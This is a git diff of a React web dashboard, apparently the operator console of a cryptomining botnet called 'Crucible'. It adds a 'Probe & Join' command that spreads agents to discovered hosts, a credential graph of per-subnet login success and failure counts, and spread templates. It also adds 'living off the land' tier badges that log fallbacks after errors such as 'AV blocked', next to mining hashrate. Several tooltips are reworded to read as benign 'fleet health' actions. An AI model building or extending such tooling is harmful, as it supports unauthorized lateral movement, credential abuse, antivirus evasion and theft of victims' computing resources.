default: () => <div data-testid="spread-template-export" />,
|
||||
}));
|
||||
|
||||
const listBuildsMock = vi.mocked(api.listBuilds);
|
||||
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
|
||||
const sendWOLMock = vi.mocked(api.sendWOL);
|
||||
@@ -190,6 +202,20 @@ describe('CrucibleExpandedOps', () => {
|
||||
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'spread' })} />);
|
||||
expect(screen.getByRole('button', { name: 'Spread Now' })).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: /SUPP Seek Mode/i })).toBeInTheDocument();
|
||||
expect(screen.getByTestId('credential-graph-table')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('dispatches discover_and_join from Probe & Join button', async () => {
|
||||
const user = userEvent.setup();
|
||||
const onEcho = vi.fn();
|
||||
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'spread', onEcho })} />);
|
||||
|
||||
await user.click(screen.getByRole('button', { name: 'Probe & Join' }));
|
||||
|
||||
await waitFor(() => {
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledWith('win-1', 'discover_and_join', {});
|
||||
});
|
||||
expect(onEcho).toHaveBeenCalledWith('discover_and_join → 1 node(s)', true);
|
||||
});
|
||||
|
||||
it('shows SSH probe controls on tunnels tab', async () => {
|
||||
|
||||
@@ -11,10 +11,14 @@ import {
|
||||
} from '../../help/crucibleOps';
|
||||
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
|
||||
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
|
||||
import FileManager from './FileManager';
|
||||
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
|
||||
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
|
||||
import CredentialGraphTable from './CredentialGraphTable';
|
||||
import ServiceGraphSummary from './ServiceGraphSummary';
|
||||
import './ProtocolTunnelPanel.css';
|
||||
|
||||
interface FmCommandResult {
|
||||
@@ -297,15 +301,24 @@ export default function CrucibleExpandedOps({
|
||||
return (
|
||||
<div className={panelClass}>
|
||||
<CrucibleCollapsibleSection label="Mining" className="cop-mining" helpField="crucible_mining_ops" defaultOpen>
|
||||
{singleSelectedAgent?.lotl_tier && (
|
||||
<div style={{ width: '100%', marginBottom: '0.35rem' }}>
|
||||
<LotlTierBadge
|
||||
tier={singleSelectedAgent.lotl_tier}
|
||||
attempts={singleSelectedAgent.lotl_attempts}
|
||||
variant="inline"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection}
|
||||
title="Resume hashing on selected online nodes"
|
||||
title="Fleet health: restore hashing workload on selected online nodes"
|
||||
onClick={() => {
|
||||
const ids = targets.map((a) => a.id);
|
||||
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||||
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`resume → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
|
||||
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`${r.label ?? 'Power restore'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
|
||||
}}
|
||||
>
|
||||
Resume
|
||||
@@ -314,11 +327,11 @@ export default function CrucibleExpandedOps({
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection}
|
||||
title="Pause hashing without disconnecting the agent"
|
||||
title="Fleet health: power down hashing without disconnecting the agent"
|
||||
onClick={() => {
|
||||
const ids = targets.map((a) => a.id);
|
||||
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||||
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`pause → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
|
||||
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`${r.label ?? 'Power down'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
|
||||
}}
|
||||
>
|
||||
Pause
|
||||
@@ -786,6 +799,30 @@ export default function CrucibleExpandedOps({
|
||||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('credential_vault_list')} title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'} onClick={() => aggBulk('credential_vault_list')}>
|
||||
Credential Names
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn btn-cyan"
|
||||
disabled={!hasSelection || targets.length === 0}
|
||||
title="Service discovery → server deploy plan → matching LOTL join lane"
|
||||
onClick={() => bulkDispatch('discover_and_join')}
|
||||
>
|
||||
Probe & Join
|
||||
</button>
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="Credential Graph" className="cop-spread-graph" helpField="crucible_section_cred_graph" defaultOpen>
|
||||
<CredentialGraphTable />
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="Service Graph" className="cop-spread-graph" helpField="crucible_section_service_graph" defaultOpen={false}>
|
||||
<ServiceGraphSummary
|
||||
agentId={singleSelectedAgent?.id}
|
||||
agentIp={singleSelectedAgent?.ip}
|
||||
/>
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="Spread Templates" className="cop-spread-templates" helpField="crucible_section_spread_templates" defaultOpen={false}>
|
||||
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
|
||||
|
||||
@@ -119,8 +119,8 @@ export default function FleetToolbar({
|
||||
Screenshot
|
||||
</button>
|
||||
)}
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
|
||||
<button
|
||||
|
||||
21
server/web/src/components/Fleet/JoinLaneBadge.tsx
Normal file
21
server/web/src/components/Fleet/JoinLaneBadge.tsx
Normal file
@@ -0,0 +1,21 @@
|
||||
import { joinLaneLabel } from '../../help/reconRisk';
|
||||
import './ReconVisuals.css';
|
||||
|
||||
interface Props {
|
||||
lane?: string;
|
||||
className?: string;
|
||||
}
|
||||
|
||||
export default function JoinLaneBadge({ lane, className = '' }: Props) {
|
||||
const label = joinLaneLabel(lane);
|
||||
if (!label) return null;
|
||||
|
||||
return (
|
||||
<span
|
||||
className={`join-lane-badge ${className}`.trim()}
|
||||
title={`Deploy join lane: ${label}`}
|
||||
>
|
||||
{label}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
58
server/web/src/components/Fleet/LotlAttemptsList.tsx
Normal file
58
server/web/src/components/Fleet/LotlAttemptsList.tsx
Normal file
@@ -0,0 +1,58 @@
|
||||
import type { TierAttempt } from '../../types/lotl';
|
||||
import { formatDurationMs, formatLotlTierLabel } from '../../types/lotl';
|
||||
import './LotlVisuals.css';
|
||||
|
||||
interface Props {
|
||||
attempts: TierAttempt[];
|
||||
activeTier?: string;
|
||||
miningHashrate?: number;
|
||||
className?: string;
|
||||
}
|
||||
|
||||
export default function LotlAttemptsList({
|
||||
attempts,
|
||||
activeTier,
|
||||
miningHashrate,
|
||||
className = '',
|
||||
}: Props) {
|
||||
if (attempts.length === 0 && miningHashrate === undefined) {
|
||||
return (
|
||||
<div className={`lotl-attempts-block ${className}`.trim()}>
|
||||
<div className="lotl-attempts-title">LOTL TIER CHAIN</div>
|
||||
<div className="lotl-attempts-empty">No tier attempts in this report</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div className={`lotl-attempts-block ${className}`.trim()}>
|
||||
<div className="lotl-attempts-title">
|
||||
LOTL TIER CHAIN
|
||||
{activeTier && (
|
||||
<span style={{ marginLeft: '0.5rem', color: 'var(--text-muted)', fontWeight: 400 }}>
|
||||
→ {formatLotlTierLabel(activeTier)}
|
||||
</span>
|
||||
)}
|
||||
{miningHashrate !== undefined && (
|
||||
<span style={{ marginLeft: '0.5rem', color: 'var(--neon-green)', fontWeight: 600 }}>
|
||||
{Math.round(miningHashrate)} H/s
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
{attempts.length === 0 ? (
|
||||
<div className="lotl-attempts-empty">No attempt history</div>
|
||||
) : (
|
||||
<ul className="lotl-attempts-list">
|
||||
{attempts.map((a, i) => (
|
||||
<li key={`${a.tier}-${i}`} className="lotl-attempt-row">
|
||||
<span className={`lotl-attempt-icon ${a.ok ? 'ok' : 'fail'}`}>{a.ok ? '✓' : '✗'}</span>
|
||||
<span className="lotl-attempt-tier">{formatLotlTierLabel(a.tier)}</span>
|
||||
<span className="lotl-attempt-dur">{formatDurationMs(a.duration_ms)}</span>
|
||||
{!a.ok && a.error && <span className="lotl-attempt-err">{a.error}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
67
server/web/src/components/Fleet/LotlTierBadge.test.tsx
Normal file
67
server/web/src/components/Fleet/LotlTierBadge.test.tsx
Normal file
@@ -0,0 +1,67 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { cleanup, render, screen } from '@testing-library/react';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
import LotlAttemptsList from './LotlAttemptsList';
|
||||
import { formatDurationMs, formatLotlTierLabel, parseTierAttempts } from '../../types/lotl';
|
||||
|
||||
describe('LOTL tier visuals', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders compact tier badge with friendly label', () => {
|
||||
render(<LotlTierBadge tier="inprocess" />);
|
||||
expect(screen.getByText('LOTL In-Process')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows fail styling when active tier last attempt failed', () => {
|
||||
const { container } = render(
|
||||
<LotlTierBadge
|
||||
tier="container"
|
||||
attempts={[
|
||||
{ tier: 'wsl', ok: false, error: 'no distro', duration_ms: 1200 },
|
||||
{ tier: 'container', ok: false, error: 'AV blocked', duration_ms: 800 },
|
||||
]}
|
||||
/>,
|
||||
);
|
||||
expect(container.querySelector('.lotl-fail')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('lists tier attempts with success/fail and duration', () => {
|
||||
render(
|
||||
<LotlAttemptsList
|
||||
activeTier="inprocess"
|
||||
miningHashrate={420}
|
||||
attempts={[
|
||||
{ tier: 'container', ok: false, error: 'docker missing', duration_ms: 500 },
|
||||
{ tier: 'inprocess', ok: true, duration_ms: 2100 },
|
||||
]}
|
||||
/>,
|
||||
);
|
||||
expect(screen.getByText('LOTL TIER CHAIN')).toBeInTheDocument();
|
||||
expect(screen.getByText('Container')).toBeInTheDocument();
|
||||
expect(screen.getByText('In-Process')).toBeInTheDocument();
|
||||
expect(screen.getByText('docker missing')).toBeInTheDocument();
|
||||
expect(screen.getByText('500ms')).toBeInTheDocument();
|
||||
expect(screen.getByText('2.1s')).toBeInTheDocument();
|
||||
expect(screen.getByText(/420 H\/s/)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('parseTierAttempts normalizes API rows', () => {
|
||||
const attempts = parseTierAttempts([
|
||||
{ tier: 'gpu', ok: true, duration_ms: 3000 },
|
||||
{ tier: 'wsl', ok: false, error: 'offline' },
|
||||
{ bad: true },
|
||||
]);
|
||||
expect(attempts).toHaveLength(2);
|
||||
expect(attempts[0].tier).toBe('gpu');
|
||||
expect(attempts[1].error).toBe('offline');
|
||||
});
|
||||
|
||||
it('formatLotlTierLabel and formatDurationMs helpers', () => {
|
||||
expect(formatLotlTierLabel('ps_memory')).toBe('PS Memory');
|
||||
expect(formatDurationMs(450)).toBe('450ms');
|
||||
expect(formatDurationMs(1500)).toBe('1.5s');
|
||||
});
|
||||
});
|
||||
31
server/web/src/components/Fleet/LotlTierBadge.tsx
Normal file
31
server/web/src/components/Fleet/LotlTierBadge.tsx
Normal file
@@ -0,0 +1,31 @@
|
||||
import type { TierAttempt } from '../../types/lotl';
|
||||
import { formatLotlTierLabel, lotlAttemptsTooltip } from '../../types/lotl';
|
||||
import './LotlVisuals.css';
|
||||
|
||||
interface Props {
|
||||
tier?: string;
|
||||
attempts?: TierAttempt[];
|
||||
/** Use card chip styling (cn-lotl) vs inline header badge */
|
||||
variant?: 'card' | 'inline';
|
||||
className?: string;
|
||||
}
|
||||
|
||||
export default function LotlTierBadge({ tier, attempts, variant = 'card', className = '' }: Props) {
|
||||
if (!tier?.trim()) return null;
|
||||
|
||||
const failed = attempts?.some((a) => a.tier === tier && !a.ok);
|
||||
const stateCls = failed ? 'lotl-fail' : tier ? 'lotl-active' : 'lotl-idle';
|
||||
const base = variant === 'card' ? 'cn-lotl' : 'lotl-tier-badge';
|
||||
const title = attempts?.length
|
||||
? `Active LOTL tier: ${formatLotlTierLabel(tier)}\n${lotlAttemptsTooltip(attempts)}`
|
||||
: `Active LOTL tier: ${formatLotlTierLabel(tier)}`;
|
||||
|
||||
return (
|
||||
<span
|
||||
className={`${base} lotl-tier-badge--${failed ? 'fail' : 'active'} ${stateCls} ${className}`.trim()}
|
||||
title={title}
|
||||
>
|
||||
LOTL {formatLotlTierLabel(tier)}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
144
server/web/src/components/Fleet/LotlVisuals.css
Normal file
144
server/web/src/components/Fleet/LotlVisuals.css
Normal file
@@ -0,0 +1,144 @@
|
||||
/* Compact LOTL tier badge — agent cards, headers, remote actions */
|
||||
.lotl-tier-badge,
|
||||
.cn-lotl {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.05em;
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.cn-lotl {
|
||||
align-self: flex-start;
|
||||
}
|
||||
|
||||
.lotl-tier-badge--active,
|
||||
.cn-lotl.lotl-active {
|
||||
color: var(--neon-cyan);
|
||||
background: rgba(0, 245, 255, 0.12);
|
||||
border: 1px solid rgba(0, 245, 255, 0.28);
|
||||
}
|
||||
|
||||
.lotl-tier-badge--fail,
|
||||
.cn-lotl.lotl-fail {
|
||||
color: #ff8866;
|
||||
background: rgba(255, 100, 0, 0.12);
|
||||
border: 1px solid rgba(255, 136, 68, 0.35);
|
||||
}
|
||||
|
||||
.lotl-tier-badge--idle,
|
||||
.cn-lotl.lotl-idle {
|
||||
color: var(--text-muted);
|
||||
background: rgba(255, 255, 255, 0.06);
|
||||
}
|
||||
|
||||
/* Vulnerability risk chip — Crucible / fleet cards (authorized recon only) */
|
||||
.vuln-risk-badge,
|
||||
.cn-vuln-risk {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.05em;
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.vuln-risk-high {
|
||||
color: #ff6688;
|
||||
background: rgba(255, 60, 90, 0.14);
|
||||
border: 1px solid rgba(255, 80, 110, 0.4);
|
||||
}
|
||||
|
||||
.vuln-risk-med {
|
||||
color: #ffaa44;
|
||||
background: rgba(255, 140, 0, 0.12);
|
||||
border: 1px solid rgba(255, 170, 68, 0.35);
|
||||
}
|
||||
|
||||
.vuln-risk-low {
|
||||
color: #88ccff;
|
||||
background: rgba(80, 160, 255, 0.1);
|
||||
border: 1px solid rgba(100, 180, 255, 0.3);
|
||||
}
|
||||
|
||||
.vuln-risk-clear {
|
||||
color: var(--text-muted);
|
||||
background: rgba(255, 255, 255, 0.05);
|
||||
}
|
||||
|
||||
/* Tier attempt list — reuses Crucible rich-terminal palette */
|
||||
.lotl-attempts-block {
|
||||
margin: 0.35rem 0 0.5rem;
|
||||
padding: 0.45rem 0.65rem;
|
||||
border-left: 2px solid rgba(0, 245, 255, 0.35);
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
border-radius: 0 4px 4px 0;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.74rem;
|
||||
max-width: 720px;
|
||||
}
|
||||
|
||||
.lotl-attempts-title {
|
||||
color: var(--neon-cyan);
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.1em;
|
||||
font-size: 0.7rem;
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.lotl-attempts-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.2rem;
|
||||
}
|
||||
|
||||
.lotl-attempt-row {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: baseline;
|
||||
gap: 0.35rem 0.5rem;
|
||||
padding: 0.15rem 0;
|
||||
border-bottom: 1px solid rgba(255, 255, 255, 0.04);
|
||||
}
|
||||
|
||||
.lotl-attempt-row:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.lotl-attempt-icon {
|
||||
width: 1rem;
|
||||
flex-shrink: 0;
|
||||
font-weight: 700;
|
||||
}
|
||||
|
||||
.lotl-attempt-icon.ok { color: var(--neon-green); }
|
||||
.lotl-attempt-icon.fail { color: #ff6666; }
|
||||
|
||||
.lotl-attempt-tier {
|
||||
font-weight: 600;
|
||||
color: #e8e8e8;
|
||||
min-width: 5.5rem;
|
||||
}
|
||||
|
||||
.lotl-attempt-dur {
|
||||
color: var(--text-muted);
|
||||
font-size: 0.68rem;
|
||||
}
|
||||
|
||||
.lotl-attempt-err {
|
||||
color: #ffaa88;
|
||||
font-size: 0.68rem;
|
||||
flex: 1 1 100%;
|
||||
padding-left: 1.35rem;
|
||||
word-break: break-word;
|
||||
}
|
||||
|
||||
.lotl-attempts-empty {
|
||||
color: var(--text-muted);
|
||||
font-style: italic;
|
||||
font-size: 0.72rem;
|
||||
}
|
||||
66
server/web/src/components/Fleet/ReconBadges.test.tsx
Normal file
66
server/web/src/components/Fleet/ReconBadges.test.tsx
Normal file
@@ -0,0 +1,66 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
import RiskBadge from './RiskBadge';
|
||||
import JoinLaneBadge from './JoinLaneBadge';
|
||||
import CredentialGraphTable from './CredentialGraphTable';
|
||||
import { api } from '../../api/client';
|
||||
|
||||
vi.mock('../../api/client', () => ({
|
||||
api: {
|
||||
getCredentialGraph: vi.fn(),
|
||||
getServiceGraph: vi.fn(),
|
||||
},
|
||||
}));
|
||||
|
||||
describe('Recon badges', () => {
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
it('RiskBadge renders critical chip from vuln_findings', () => {
|
||||
render(
|
||||
<RiskBadge
|
||||
findings={[{ cve_id: 'CVE-2021-44228', severity: 'critical', patched: false }]}
|
||||
/>,
|
||||
);
|
||||
expect(screen.getByText('RISK CRIT')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('RiskBadge renders nothing when findings are patched', () => {
|
||||
const { container } = render(
|
||||
<RiskBadge findings={[{ cve_id: 'CVE-1', severity: 'high', patched: true }]} />,
|
||||
);
|
||||
expect(container.firstChild).toBeNull();
|
||||
});
|
||||
|
||||
it('JoinLaneBadge renders lane label', () => {
|
||||
render(<JoinLaneBadge lane="docker" />);
|
||||
expect(screen.getByText('Docker')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('CredentialGraphTable shows subnet rows from API', async () => {
|
||||
vi.mocked(api.getCredentialGraph).mockResolvedValue({
|
||||
subnets: [
|
||||
{ subnet: '10.0.1.x', edges: 5, success_count: 3, fail_count: 2 },
|
||||
],
|
||||
});
|
||||
render(<CredentialGraphTable />);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('10.0.1.x')).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByText('5')).toBeInTheDocument();
|
||||
expect(screen.getByText('3')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('CredentialGraphTable shows unavailable message on 404', async () => {
|
||||
vi.mocked(api.getCredentialGraph).mockResolvedValue(null);
|
||||
render(<CredentialGraphTable />);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText(/not available yet/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
});
|
||||
108
server/web/src/components/Fleet/ReconVisuals.css
Normal file
108
server/web/src/components/Fleet/ReconVisuals.css
Normal file
@@ -0,0 +1,108 @@
|
||||
/* Fleet recon badges — mirrors LOTL chip tokens */
|
||||
.risk-badge,
|
||||
.cn-risk,
|
||||
.join-lane-badge,
|
||||
.war-room-join-lane-badge {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.05em;
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.cn-risk {
|
||||
align-self: flex-start;
|
||||
}
|
||||
|
||||
.risk-badge--critical,
|
||||
.cn-risk.risk-critical {
|
||||
color: #ff4466;
|
||||
background: rgba(255, 50, 80, 0.14);
|
||||
border: 1px solid rgba(255, 68, 102, 0.4);
|
||||
}
|
||||
|
||||
.risk-badge--high,
|
||||
.cn-risk.risk-high {
|
||||
color: #ff8866;
|
||||
background: rgba(255, 120, 40, 0.12);
|
||||
border: 1px solid rgba(255, 136, 68, 0.35);
|
||||
}
|
||||
|
||||
.risk-badge--medium,
|
||||
.cn-risk.risk-medium {
|
||||
color: var(--neon-amber, #ffb347);
|
||||
background: rgba(255, 180, 60, 0.1);
|
||||
border: 1px solid rgba(255, 180, 60, 0.3);
|
||||
}
|
||||
|
||||
.risk-badge--low,
|
||||
.cn-risk.risk-low {
|
||||
color: var(--text-muted);
|
||||
background: rgba(255, 255, 255, 0.06);
|
||||
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||
}
|
||||
|
||||
.join-lane-badge,
|
||||
.war-room-join-lane-badge {
|
||||
color: var(--neon-violet, #b388ff);
|
||||
background: rgba(160, 100, 255, 0.12);
|
||||
border: 1px solid rgba(160, 100, 255, 0.28);
|
||||
}
|
||||
|
||||
.recon-graph-table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.74rem;
|
||||
}
|
||||
|
||||
.recon-graph-table th,
|
||||
.recon-graph-table td {
|
||||
padding: 0.35rem 0.5rem;
|
||||
text-align: left;
|
||||
border-bottom: 1px solid rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.recon-graph-table th {
|
||||
color: var(--neon-cyan);
|
||||
font-weight: 600;
|
||||
letter-spacing: 0.08em;
|
||||
font-size: 0.68rem;
|
||||
}
|
||||
|
||||
.recon-graph-empty {
|
||||
font-size: 0.72rem;
|
||||
color: var(--text-muted);
|
||||
margin: 0.25rem 0;
|
||||
}
|
||||
|
||||
.recon-service-summary {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.74rem;
|
||||
}
|
||||
|
||||
.recon-service-list {
|
||||
list-style: none;
|
||||
margin: 0.35rem 0 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.25rem;
|
||||
}
|
||||
|
||||
.recon-service-item {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.recon-service-name {
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.recon-service-meta {
|
||||
color: var(--text-muted);
|
||||
font-size: 0.68rem;
|
||||
}
|
||||
25
server/web/src/components/Fleet/RiskBadge.tsx
Normal file
25
server/web/src/components/Fleet/RiskBadge.tsx
Normal file
@@ -0,0 +1,25 @@
|
||||
import { riskFromVulnFindings } from '../../help/reconRisk';
|
||||
import type { VulnFinding } from '../../types/recon';
|
||||
import './ReconVisuals.css';
|
||||
|
||||
interface Props {
|
||||
findings?: VulnFinding[];
|
||||
variant?: 'card' | 'inline';
|
||||
className?: string;
|
||||
}
|
||||
|
||||
export default function RiskBadge({ findings, variant = 'card', className = '' }: Props) {
|
||||
const info = riskFromVulnFindings(findings);
|
||||
if (!info) return null;
|
||||
|
||||
const base = variant === 'card' ? 'cn-risk' : 'risk-badge';
|
||||
|
||||
return (
|
||||
<span
|
||||
className={`${base} risk-badge--${info.level} risk-${info.level} ${className}`.trim()}
|
||||
title={info.title}
|
||||
>
|
||||
{info.label}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
118
server/web/src/components/Fleet/ServiceGraphSummary.tsx
Normal file
118
server/web/src/components/Fleet/ServiceGraphSummary.tsx
Normal file
@@ -0,0 +1,118 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import { ipToSubnet } from '../../help/reconRisk';
|
||||
import type { ServiceGraphNode } from '../../types/recon';
|
||||
import JoinLaneBadge from './JoinLaneBadge';
|
||||
import './ReconVisuals.css';
|
||||
|
||||
interface Props {
|
||||
agentId?: string;
|
||||
agentIp?: string;
|
||||
}
|
||||
|
||||
export default function ServiceGraphSummary({ agentId, agentIp }: Props) {
|
||||
const subnet = ipToSubnet(agentIp);
|
||||
const [services, setServices] = useState<ServiceGraphNode[] | null>(null);
|
||||
const [loading, setLoading] = useState(false);
|
||||
const [unavailable, setUnavailable] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
if (!agentId && !subnet) {
|
||||
setServices(null);
|
||||
setUnavailable(false);
|
||||
return;
|
||||
}
|
||||
|
||||
let cancelled = false;
|
||||
setLoading(true);
|
||||
void api
|
||||
.getServiceGraph({ agentId, subnet })
|
||||
.then((data) => {
|
||||
if (cancelled) return;
|
||||
if (!data) {
|
||||
setUnavailable(true);
|
||||
setServices([]);
|
||||
return;
|
||||
}
|
||||
setServices(data.services ?? []);
|
||||
setUnavailable(false);
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) {
|
||||
setUnavailable(true);
|
||||
setServices([]);
|
||||
}
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setLoading(false);
|
||||
});
|
||||
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [agentId, subnet]);
|
||||
|
||||
if (!agentId && !subnet) {
|
||||
return (
|
||||
<p className="recon-graph-empty">
|
||||
Select one agent to view service graph for its subnet.
|
||||
</p>
|
||||
);
|
||||
}
|
||||
|
||||
if (loading) {
|
||||
return <p className="recon-graph-empty">Loading service graph…</p>;
|
||||
}
|
||||
|
||||
if (unavailable) {
|
||||
return (
|
||||
<p className="recon-graph-empty">
|
||||
Service graph API not available — run discover_and_join or service probe on this host.
|
||||
</p>
|
||||
);
|
||||
}
|
||||
|
||||
if (!services?.length) {
|
||||
return (
|
||||
<p className="recon-graph-empty">
|
||||
No enumerated services for {subnet || 'selected host'}.
|
||||
</p>
|
||||
);
|
||||
}
|
||||
|
||||
const lanes = new Set(
|
||||
services.map((s) => s.join_lane_candidate?.trim()).filter(Boolean) as string[],
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="recon-service-summary">
|
||||
<div className="recon-service-meta">
|
||||
{subnet ? <span>{subnet}</span> : null}
|
||||
{agentId ? <span>{subnet ? ' · ' : ''}{agentId.slice(0, 8)}</span> : null}
|
||||
<span> · {services.length} service(s)</span>
|
||||
</div>
|
||||
{lanes.size > 0 ? (
|
||||
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.25rem', marginTop: '0.35rem' }}>
|
||||
{[...lanes].map((lane) => (
|
||||
<JoinLaneBadge key={lane} lane={lane} />
|
||||
))}
|
||||
</div>
|
||||
) : null}
|
||||
<ul className="recon-service-list">
|
||||
{services.slice(0, 12).map((s, i) => (
|
||||
<li key={`${s.service_name}-${i}`} className="recon-service-item">
|
||||
<span className="recon-service-name">{s.service_name}</span>
|
||||
{s.port ? <span className="recon-service-meta">:{s.port}</span> : null}
|
||||
{s.status ? <span className="recon-service-meta">{s.status}</span> : null}
|
||||
{s.join_lane_candidate ? (
|
||||
<JoinLaneBadge lane={s.join_lane_candidate} />
|
||||
) : null}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
{services.length > 12 ? (
|
||||
<p className="recon-graph-empty">+{services.length - 12} more</p>
|
||||
) : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
import { useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import { SPREAD_TEMPLATES, spreadTemplateZipName, type SpreadTemplateId } from '../../help/spreadTemplateExport';
|
||||
import { spreadTechniqueDocUrl } from '../../help/spreadTechniques';
|
||||
|
||||
export interface SpreadTemplateExportPanelProps {
|
||||
serverBase: string;
|
||||
